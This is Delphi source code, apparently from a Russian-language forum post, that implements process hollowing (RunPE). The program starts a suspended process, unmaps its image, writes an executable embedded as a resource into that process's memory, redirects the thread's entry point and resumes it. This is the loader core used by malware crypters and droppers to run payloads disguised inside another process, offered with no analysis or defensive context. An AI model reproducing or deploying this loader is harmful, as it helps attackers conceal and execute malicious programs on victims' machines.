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| unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,
XPMan;
const
K = 8;
ntdll = 'ntdll.dll';
type
TForm1 = class(TForm)
Button1: TButton;
XPManifest1: TXPManifest;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
METKA: array [0..K-1] of char;
Self: boolean;
implementation
type
PVOID = Pointer;
NTSTATUS = LongInt;
DWORD = integer;
ULONG = integer;
HANDLE = integer;
ULONG_PTR = Cardinal;
SIZE_T = Cardinal;
LPVOID = Pointer;
PImageSectionHeader = ^TImageSectionHeader;
TImageSectionHeader = packed record
Name : packed array[0..7] of Byte;
Misc : TISHMisc;
VirtualAddress : DWORD;
SizeOfRawData : DWORD;
PointerToRawData : DWORD;
PointerToRelocations : DWORD;
PointerToLinenumbers : DWORD;
NumberOfRelocations : Word;
NumberOfLinenumbers : Word;
Characteristics : DWORD;
end;
TImageFileHeader = packed record
Machine : Word;
NumberOfSections : Word;
TimeDateStamp : DWORD;
PointerToSymbolTable : DWORD;
NumberOfSymbols : DWORD;
SizeOfOptionalHeader : Word;
Characteristics : Word;
end;
TImageDataDirectory = record
VirtualAddress : DWORD;
Size : DWORD;
end;
TImageOptionalHeader = packed record
Magic : Word;
MajorLinkerVersion : Byte;
MinorLinkerVersion : Byte;
SizeOfCode : DWORD;
SizeOfInitializedData : DWORD;
SizeOfUninitializedData : DWORD;
AddressOfEntryPoint : DWORD;
BaseOfCode : DWORD;
BaseOfData : DWORD;
ImageBase : DWORD;
SectionAlignment : DWORD;
FileAlignment : DWORD;
MajorOperatingSystemVersion : Word;
MinorOperatingSystemVersion : Word;
MajorImageVersion : Word;
MinorImageVersion : Word;
MajorSubsystemVersion : Word;
MinorSubsystemVersion : Word;
Win32VersionValue : DWORD;
SizeOfImage : DWORD;
SizeOfHeaders : DWORD;
DataDirectory : packed array[0..15] of TImageDataDirectory;
end;
PImageNtHeaders = ^TImageNtHeaders;
TImageNtHeaders = packed record
Signature : DWORD;
FileHeader : TImageFileHeader;
OptionalHeader : TImageOptionalHeader;
end;
PImageSectionHeaders = ^TImageSectionHeaders;
TImageSectionHeaders = array [0..95] of TImageSectionHeader;
function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall; external kernel32 name 'CreateProcessA';
function WriteProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall; external kernel32 name 'WriteProcessMemory';
function VirtualProtectEx(hProcess: HANDLE; lpAddress: LPVOID; dwSize: SIZE_T; flNewProtect: DWORD; var lpflOldProtect: DWORD): BOOL; stdcall; external kernel32 name 'VirtualProtectEx';
function ZwUnmapViewOfSection(ProcessHandle: HANDLE; BaseAddress: PVOID): NTSTATUS; stdcall; external ntdll name 'ZwUnmapViewOfSection';
{$R *.dfm}
{$R calc.res}
procedure FChar(var Dest; count: integer; Value: integer);
asm
PUSH EDI
MOV EDI,EAX
MOV CH,CL
MOV EAX,ECX
SHL EAX,16
MOV AX,CX
MOV ECX,EDX
SAR ECX,2
JS @@exit
REP STOSD
MOV ECX,EDX
AND ECX,3
REP STOSB
@@exit:
POP EDI
end;
function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
begin
Result := PImageSectionheader(ULONG_PTR(@NTheader.OptionalHeader) + NTHeader.FileHeader.SizeOfOptionalHeader);
end;
procedure MemoryExecute(Buffer: Pointer; ProcessName, Parameters: PChar);
var
BaseAddress: Pointer;
i, OldProtect: ULONG;
Success: Boolean;
NTHeaders: PImageNTHeaders;
Sections: PImageSectionHeaders;
StartupInfo: TStartupInfo;
BytesWritten: DWORD;
ProcessInfo: TProcessInformation;
Context: TContext;
begin
FChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FChar(StartupInfo, SizeOf(TStartupInfo), 0);
StartupInfo.cb := SizeOf(TStartupInfo);
StartupInfo.wShowWindow := Word(false);
if (CreateProcess(ProcessName, Parameters, nil, nil, false, CREATE_SUSPENDED, nil, nil, StartupInfo, ProcessInfo)) then
begin
Success := True;
try
Context.ContextFlags := CONTEXT_INTEGER;
if (GetThreadContext(ProcessInfo.hThread, Context) and (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) or (Assigned(Buffer))) then
begin
NTHeaders := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
BaseAddress := VirtualAllocEx(ProcessInfo.hProcess, Pointer(NTHeaders.OptionalHeader.ImageBase), NTHeaders.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
if (Assigned(BaseAddress)) and (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer, NTHeaders.OptionalHeader.SizeOfHeaders, BytesWritten)) then
begin
Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
for i := 0 to NTHeaders.FileHeader.NumberOfSections -1 do
if (WriteProcessMemory(ProcessInfo.hProcess, Pointer(Cardinal(BaseAddress) + Sections[i].VirtualAddress), Pointer(Cardinal(Buffer) + Sections[i].PointerToRawData), Sections[i].SizeOfRawData, BytesWritten)) then
VirtualProtectEx(ProcessInfo.hProcess, Pointer(Cardinal(BaseAddress) + Sections[i].VirtualAddress), Sections[i].Misc.VirtualSize, 0, OldProtect);
if (WriteProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8), @BaseAddress, SizeOf(BaseAddress), BytesWritten)) then
begin
Context.Eax := ULONG(BaseAddress) + NTHeaders.OptionalHeader.AddressOfEntryPoint;
Success := SetThreadContext(ProcessInfo.hThread, Context);
end;
end;
end;
finally
if (not Success) then
TerminateProcess(ProcessInfo.hProcess, 0)
else
ResumeThread(ProcessInfo.hThread);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
ResourcePointer: PChar;
ResDataHandle, ResourceLocation: Cardinal;
pch: array [0..MAX_PATH] of char;
begin
ResourceLocation := FindResource(0, 'EXE', RT_RCDATA);
ResDataHandle := LoadResource(0, ResourceLocation);
ResourcePointer := LockResource(ResDataHandle);
GetModuleFileName(0, pch, MAX_PATH);
MemoryExecute(ResourcePointer, @pch, '');
FreeResource(ResDataHandle);
end;
end. |
(
Сообщение от oOpsBY
